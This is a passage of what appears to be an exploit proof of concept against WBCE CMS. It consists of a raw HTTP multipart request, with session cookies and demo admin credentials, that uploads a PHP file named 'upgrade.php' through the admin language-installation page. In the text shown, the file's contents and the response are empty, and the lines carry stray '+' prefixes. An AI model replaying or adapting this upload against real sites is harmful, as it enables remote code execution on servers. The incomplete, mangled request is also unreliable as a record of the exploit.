demo_390=%7B%22sid%22%3A390%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22pass%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos4.softaculous.com%5C%2FImpressPagesgwupshhfxk%5C%2Fadmin.php%22%2C%22dir_suffix%22%3A%22gwupshhfxk%22%7D; demo_549=%7B%22sid%22%3A549%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos1.softaculous.com%5C%2FBluditbybuxqthew%5C%2Fadmin%5C%2F%22%2C%22dir_suffix%22%3A%22bybuxqthew%22%7D; demo_643=%7B%22sid%22%3A643%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%22%2C%22adminurl%22%3A%22https%3A%5C%2F%5C%2Fdemos6.softaculous.com%5C%2FWBCE_CMSgn4fqnl8mv%5C%2Fadmin%22%2C%22dir_suffix%22%3A%22gn4fqnl8mv%22%7D; phpsessid-5505-sid=576d8b8dd92f6cabe3a235cb359c9b34; WBCELastConnectJS=1701349503; stElem___stickySidebarElement=%5Bid%3A0%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A1%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A2%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A3%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A4%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A5%5D%5Bvalue%3AnoClass%5D%23%5Bid%3A6%5D%5Bvalue%3AnoClass%5D%23 +User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: https://demos6.softaculous.com/WBCE_CMSgn4fqnl8mv/admin/languages/index.php +Content-Type: multipart/form-data; boundary=---------------------------86020911415982314764024459 +Content-Length: 522 +Origin: https://demos6.softaculous.com +Dnt: 1 +Upgrade-Insecure-Requests: 1 +Sec-Fetch-Dest: document +Sec-Fetch-Mode: navigate +Sec-Fetch-Site: same-origin +Sec-Fetch-User: ?1 +Te: trailers +Connection: close + +-----------------------------86020911415982314764024459 +Content-Disposition: form-data; name="formtoken" + +5d3c9cef-003aaa0a62e1196ebda16a7aab9a0cf881b9370c +-----------------------------86020911415982314764024459 +Content-Disposition: form-data; name="userfile"; filename="upgrade.php" +Content-Type: application/x-php + + + +-----------------------------86020911415982314764024459 +Content-Disposition: form-data; name="submit" + + +-----------------------------86020911415982314764024459-- + +### Response : + + + + +